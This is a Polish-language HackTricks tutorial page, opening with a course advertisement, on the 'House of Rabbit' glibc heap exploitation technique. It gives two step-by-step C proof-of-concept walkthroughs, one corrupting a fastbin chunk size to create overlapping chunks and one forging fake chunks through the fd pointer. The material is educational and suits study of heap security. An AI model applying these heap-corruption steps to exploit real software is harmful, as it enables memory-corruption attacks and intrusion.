hacktricks/binary-exploitation/libc-heap/house-of-rabbit.md

4.7 KiB

Dom Królika

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Wymagania

  1. Zdolność do Modyfikacji Wskaźnika fd lub Rozmiaru Fastbin: Oznacza to, że możesz zmienić wskaźnik do przodu fragmentu w fastbin lub jego rozmiar.
  2. Zdolność do Wywołania malloc_consolidate: Można to zrobić poprzez przydzielenie dużego fragmentu lub scalenie fragmentu górnego, co zmusza stertę do konsolidacji fragmentów.

Cele

  1. Utworzenie Nakładających się Fragmentów: Aby jeden fragment nakładał się na drugi, umożliwiając dalsze manipulacje stertą.
  2. Podrobienie Fałszywych Fragmentów: Aby oszukać alokator, aby traktował fałszywy fragment jako prawidłowy fragment podczas operacji na stercie.

Kroki Ataku

POC 1: Modyfikacja Rozmiaru Fragmentu Fastbin

Cel: Utworzenie nakładającego się fragmentu poprzez manipulację rozmiarem fragmentu fastbin.

  • Krok 1: Alokacja Fragmentów
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state
  • Krok 2: Zwolnij bloki
free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050
  • Krok 3: Zmiana Rozmiaru Kawałka
chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
  • Krok 4: Wywołaj malloc_consolidate
malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

Przydzielanie dużej porcji wywołuje funkcję malloc_consolidate, łącząc małe porcje w fastbin. Zmanipulowany rozmiar chunk1 powoduje nakładanie się na chunk2.

Po konsolidacji, chunk1 nakłada się na chunk2, umożliwiając dalsze wykorzystanie.

POC 2: Zmodyfikuj wskaźnik FD

Cel: Stwórz fałszywą porcję, manipulując wskaźnikiem fd fastbin.

  • Krok 1: Przydziel porcje
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

Wyjaśnienie: Alokujemy dwa fragmenty, jeden mniejszy i jeden większy, aby przygotować stertę do fałszywego fragmentu.

  • Krok 2: Utwórz Fałszywy Fragment
chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
  • Krok 3: Zwolnij Chunk1
free(chunk1);  // Frees the chunk at 0x602000

Wyjaśnienie: Zwolniamy chunk1, dodając go do listy fastbin.

  • Krok 4: Zmodyfikuj FD Chunk1
chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

Wyjaśnienie: Zmieniamy wskaźnik w przód (fd) chunk1, aby wskazywał na nasz fałszywy kawałek wewnątrz chunk2.

  • Krok 5: Wywołaj malloc_consolidate
malloc(5000);  // Allocate a large chunk to trigger heap consolidation

Alokowanie ponownie dużej porcji powoduje wywołanie malloc_consolidate, które przetwarza fałszywy kawałek.

Fałszywy kawałek staje się częścią listy fastbin, co czyni go prawidłowym kawałkiem do dalszego wykorzystania.

Podsumowanie

Technika House of Rabbit polega na zmodyfikowaniu rozmiaru kawałka fastbin w celu stworzenia nakładających się kawałków lub manipulacji wskaźnikiem fd w celu stworzenia fałszywych kawałków. Pozwala to atakującym na tworzenie prawidłowych kawałków na stercie, umożliwiając różne formy eksploatacji. Zrozumienie i praktykowanie tych kroków poprawi Twoje umiejętności eksploatacji sterty.